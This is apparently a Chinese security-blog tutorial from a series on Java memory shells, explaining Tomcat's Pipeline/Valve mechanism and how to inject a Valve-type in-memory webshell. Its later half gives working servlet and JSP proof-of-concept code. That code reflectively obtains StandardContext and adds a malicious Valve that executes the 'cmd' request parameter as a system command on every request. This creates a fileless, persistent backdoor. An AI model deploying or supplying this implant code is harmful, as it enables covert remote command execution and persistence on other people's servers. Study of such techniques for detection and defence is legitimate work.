Valve 型内存马

Java 内存马系列-06-Tomcat 之 Valve 型内存马

0x01 前言

Valve 内存马与之前的三种内存马区别还是有点大的，之前内存马是放在 Web 请求之中的，Listener —-> Filter —-> Servlet 的流程，但是 Valve 内存马是在 Pipeline 之中的一个流程，可以说区别是有点小大了。

0x02 Valve 是什么

我们要学习 Valve 型内存马，就必须要先了解一下 Valve 是什么

这一段内容引用枫师傅的文章原话，因为枫师傅这段话我觉得写的非常清楚，师傅们可以学习一下

“

在了解 Valve 之前，我们先来简单了解一下 Tomcat 中的管道机制。

我们知道，当 Tomcat 接收到客户端请求时，首先会使用 Connector 进行解析，然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递，最终送到 Servlet 进行处理的呢？这里涉及到的机制就是 Tomcat 管道机制。

管道机制主要涉及到两个名词，Pipeline（管道）和 Valve（阀门）。如果我们把请求比作管道（Pipeline）中流动的水，那么阀门（Valve）就可以用来在管道中实现各种功能，如控制流速等。

因此通过管道机制，我们能按照需求，给在不同子容器中流通的请求添加各种不同的业务逻辑，并提前在不同子容器中完成相应的逻辑操作。个人理解就是管道与阀门的这种模式，我们可以通过调整阀门，来实现不同的业务。

”

Pipeline 中会有一个最基础的 Valve，这个 Valve 也被称之为 basic，它始终位于末端（最后执行），它在业务上面的表现是封装了具体的请求处理和输出响应。

Pipeline 提供了 addValve 方法，可以添加新 Valve 在 basic 之前，并按照添加顺序执行。

简单理解也就是和 Filter 当中差不多，我们可以在 Filter Chain 当中任意添加 Filter；那么 Valve 也就是可以在 Pipline 当中任意添加。

下面是 Pipeline 发挥功能的原理图

在 Tomcat 中，四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类，StandardEngineValve、StandardHostValve、StandardContextValve 以及 StandardWrapperValve，他们同时维护一个 StandardPipeline 实例。

上图的 basic 就是在前文中提到的最基础的 Valve

这是获取 HTTP 请求的阶段，也就是这个里面，我们获取到了 Pipeline，并且能够很清楚的看到 Pipeline 里面有一个 basic；这个 basic 所属的类是 StandardEngineValve

0x03 关于 Valve 内存马的流程思考

内存马流程

Valve 可以被添加进 Pipeline 的流程之后，所以这里我们尝试实现一下。

先实现基础的 Valve

package tomcatShell.valve;  
  
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.Response;  
import org.apache.catalina.valves.ValveBase;  
  
import javax.servlet.ServletException;  
import java.io.IOException;  
  
public class ValveTest extends ValveBase {  
    @Override  
 public void invoke(Request request, Response response) throws IOException, ServletException {  
        System.out.println("Valve 被成功调用");  
 }  
}

我们还需要通过 addValve() 方法把它添加进去，不然的话这个 Valve 肯定是白写的。反之一想，我们只要能把我们自己编写的恶意 Valve 添加进去，就可以造成恶意马的写入了。

一开始感觉没什么思路，先点进去 Pipeline 接口看一下，因为 Valve 是 Pipeline 的一个部分，所以我们点进去看看。

在 Pipeline 接口当中存在 addValve() 方法，顾名思义，我们可以通过这个方法把 Valve 添加进去。

addValve() 方法对应的实现类是 StandardPipeline，但是我们是无法直接获取到 StandardPipeline 的，所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段。

在 StandardContext 类中搜索 pipeline，这里看到了一个比较引人注目的方法 ———— getPipeline()，跟进看一下。

可以看一下注解，这里写着 return 一个 Pipeline 类型的类，它是用来管理 Valves 的，所以这个语句证明了下面这一点：

1	StandardContext.getPipeline = StandardPipeline; // 二者等价

所以这里我们可以得到的攻击思路如下：

先获取 StandardContext
编写恶意 Valve
通过 StandardContext.getPipeline().addValve() 添加恶意 Valve

Valve 型内存马应该在何处被加载

到这里大概是没问题了，但是后续在自己手写 EXP 的过程中，发现了一个比较严重的问题：我们的 Valve 是应该放到 Filter，Listener，还是 Servlet 里面。

这个答案是 Servlet，因为在 Servlet 内存马中的 HTTP11Processor 的加载 HTTP 请求当中，是出现了 Pipeline 的 basic 的。
所以我们通过 Servlet 来加载。

明确了上述的几点后，就可以开始编写 PoC 了。

0x04 Valve 内存马的 PoC 编写

这里我们需要先定义一个 doGet() 方法，因为我们是发出 GET 请求的，通过 doGet() 方法获取到 request 对象。

代码如下

public class ValveShell_Servlet extends HttpServlet {  
  
    @Override  
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        try {  
            Field FieldReq = req.getClass().getDeclaredField("request");  
 FieldReq.setAccessible(true);  
 Request request = (Request) FieldReq.get(req);  
 StandardContext standardContext = (StandardContext) request.getContext();  
 standardContext.getPipeline().addValve(new ValveBase() {  
                @Override  
 public void invoke(Request request, Response response) throws IOException, ServletException {  
  
                }  
            });  
 resp.getWriter().write("inject success");  
 } catch (Exception e) {  
        }  
    }  
}

再到我们 ValveBase 这个子类里面去，编写我们的恶意代码。

class ValveShell extends ValveBase{  
  
    @Override  
 public void invoke(Request request, Response response) throws IOException, ServletException {  
        System.out.println("111");  
 try {  
            Runtime.getRuntime().exec(request.getParameter("cmd"));  
 } catch (Exception e) {  
  
        }  
    }  
}

测试成功！

JSP 版本的代码如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="javax.servlet.*" %>  
<%@ page import="javax.servlet.annotation.WebServlet" %>  
<%@ page import="javax.servlet.http.HttpServlet" %>  
<%@ page import="javax.servlet.http.HttpServletRequest" %>  
<%@ page import="javax.servlet.http.HttpServletResponse" %>  
<%@ page import="java.io.IOException" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.Wrapper" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="org.apache.catalina.valves.ValveBase" %>  
<%@ page import="org.apache.catalina.connector.Response" %>  
  
<%  
 class EvilValve extends ValveBase {  
  
 @Override  
 public void invoke(Request request, Response response) throws IOException, ServletException {  
 System.out.println("111");  
 try {  
 Runtime.getRuntime().exec(request.getParameter("cmd"));  
 } catch (Exception e) {  
  
 } } }%>  
  
<%  
 // 更简单的方法 获取StandardContext  
 Field reqF = request.getClass().getDeclaredField("request");  
 reqF.setAccessible(true);  
 Request req = (Request) reqF.get(request);  
 StandardContext standardContext = (StandardContext) req.getContext();  
  
 standardContext.getPipeline().addValve(new EvilValve());  
  
 out.println("inject success");  
%>

0x05 小结

总结一下 Valve 型内存马，感觉在学会 Servlet 内存马之后，看 Valve 内存马就和喝汤一样容易，建议师傅们也尝试手写一下 EXP。

总而言之，Valve 型内存马是基于 Servlet 内存马来实现的，但是在表现形式上面会稍微有一点区别，之前 Servlet 内存马，我们是写入了一个路径，但是 Valve 型内存马可以在 Servlet 被读取的过程中就直接被恶意触发。